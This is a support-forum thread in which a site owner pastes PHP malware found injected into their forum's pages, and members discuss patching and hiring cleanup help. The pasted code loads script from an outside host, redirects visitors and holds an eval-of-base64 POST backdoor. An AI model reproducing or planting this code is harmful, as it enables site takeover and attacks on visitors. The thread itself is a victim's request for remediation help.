|
Joined: Jul 2009
Posts: 18
stranger
|
stranger
Joined: Jul 2009
Posts: 18 |
Some Russian crap site re-director somehow comprised all the php on our web site. No idea how - anyway I can see his code in every php header of page -
global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }
I can see it in these two pages ultimatebb.php ---ubbaccel_test.php any other php pages in other directories?
Will I void my support if I remove it all?
Next - is how did they do it?
|
|
|
|
Joined: Jun 2006
Posts: 1,344
veteran
|
veteran
Joined: Jun 2006
Posts: 1,344 |
What version of ubb are you running?
|
|
|
|
Joined: Jul 2005
Posts: 45
newbie
|
newbie
Joined: Jul 2005
Posts: 45 |
|
|
|
|
Joined: Jul 2009
Posts: 18
stranger
|
stranger
Joined: Jul 2009
Posts: 18 |
|
|
|
|
Joined: Jul 2009
Posts: 18
stranger
|
stranger
Joined: Jul 2009
Posts: 18 |
so I went and downloaded the patch - #12 ( I have 7.5.4.2)
Uploaded and overwrote the directories. After flushing cache - How do I verify the patch is functional?
|
|
|
|
Joined: Jan 2008
Posts: 514
addict
|
addict
Joined: Jan 2008
Posts: 514 |
should say something like this at the bottom of the board...
Powered by UBB.threadsâ„¢ 7.5.6p2
|
|
|
|
Joined: Jul 2009
Posts: 18
stranger
|
stranger
Joined: Jul 2009
Posts: 18 |
|
|
|
|
Joined: Jun 2006
Posts: 16,301 Likes: 116
|
Joined: Jun 2006
Posts: 16,301 Likes: 116 |
Well, just installing a patch isn't going to fix the problems you have now; it's likely that an attacker has installed a backdoor to allow them to come in and make a mess whenever they want (like the hackers did on most of the forums which where hit a month ago)... You should consider hiring someone to dig through your webspace to check for any of them.
|
|
|
|
Joined: Jun 2006
Posts: 16,301 Likes: 116
|
Joined: Jun 2006
Posts: 16,301 Likes: 116 |
Well, if it doesn't show that it's been patched, and you've cleared the cache, you should try re-applying the patch and clearing the cache again... If that doesn't work, try deleting everything from /cache and /templates/compiled and then clear the cache again (or consider paying someone to upgrade you to the latest build; plenty of us offer these services)
|
|
|
|
Joined: Jan 2008
Posts: 514
addict
|
addict
Joined: Jan 2008
Posts: 514 |
I had an issue with file permissions when I installed the files... after I went back and fixed those permissions everything came up correctly.
Dunny
|
|
|
|
Joined: Dec 2003
Posts: 6,566 Likes: 78
|
Joined: Dec 2003
Posts: 6,566 Likes: 78 |
so I went and downloaded the patch - #12 ( I have 7.5.4.2)
Uploaded and overwrote the directories. After flushing cache - How do I verify the patch is functional? Noticing you have v 7.5.4.2 what is the reference to #12. Okay I get the #12 now. If you did not upgrade your version you should have used #10 the #12 patch is for 7.5.6 you need the one for your version.
Last edited by Ruben; 11/13/2011 6:00 PM. Reason: Added Comment
Blue Man Group There is no such thing as stupid questions. Just stupid answers
|
|
|
|
Joined: Dec 2003
Posts: 6,566 Likes: 78
|
Joined: Dec 2003
Posts: 6,566 Likes: 78 |
Also I am amazed you are lucky enough to not have hosed your board using the wrong patch.
Blue Man Group There is no such thing as stupid questions. Just stupid answers
|
|
|
|
Joined: Jun 2006
Posts: 16,301 Likes: 116
|
Joined: Jun 2006
Posts: 16,301 Likes: 116 |
Also I am amazed you are lucky enough to not have hosed your board using the wrong patch. Agreed... If this type of thing isn't something you're comfortable with, I'd really hire out to do it as you can make a larger mess in general... I mean, I upgrade forums for a modest fee, but having to go in and figure out what is hosed would end up taking longer and thus cost more...
|
|
|
|
Joined: Jun 2006
Posts: 81
member
|
member
Joined: Jun 2006
Posts: 81 |
Computer code is VERY unforgiving. Along with Ruben and Gizmo, I am amazed that your board worked at all.
Gizmo is being nice while laying it out like it is.
Think about taking your car to a good mechanic when you first have a problem.
It will cost you a little, but you will feel comfortable in the knowledge that you got good service for a fair price.
Now, let's say that you tried to fix your car yourself and really made a mess of things.
To start... Many shops will send you packing, not wanting to bother with a botched job. The shops that will accept the work are going to charge you for their trouble. Some will rake you over for it.
You can bet that Gizmo would want something extra up front for what could be an open ended issue. The risk for him is that he spends several hours to come to the conclusion that it is a lost cause. That is a customer support nightmare and not a fun phone call to make.
|
|
|
1 members (Ruben),
360
guests, and
168
robots. |
Key:
Admin,
Global Mod,
Mod
|
|
|
|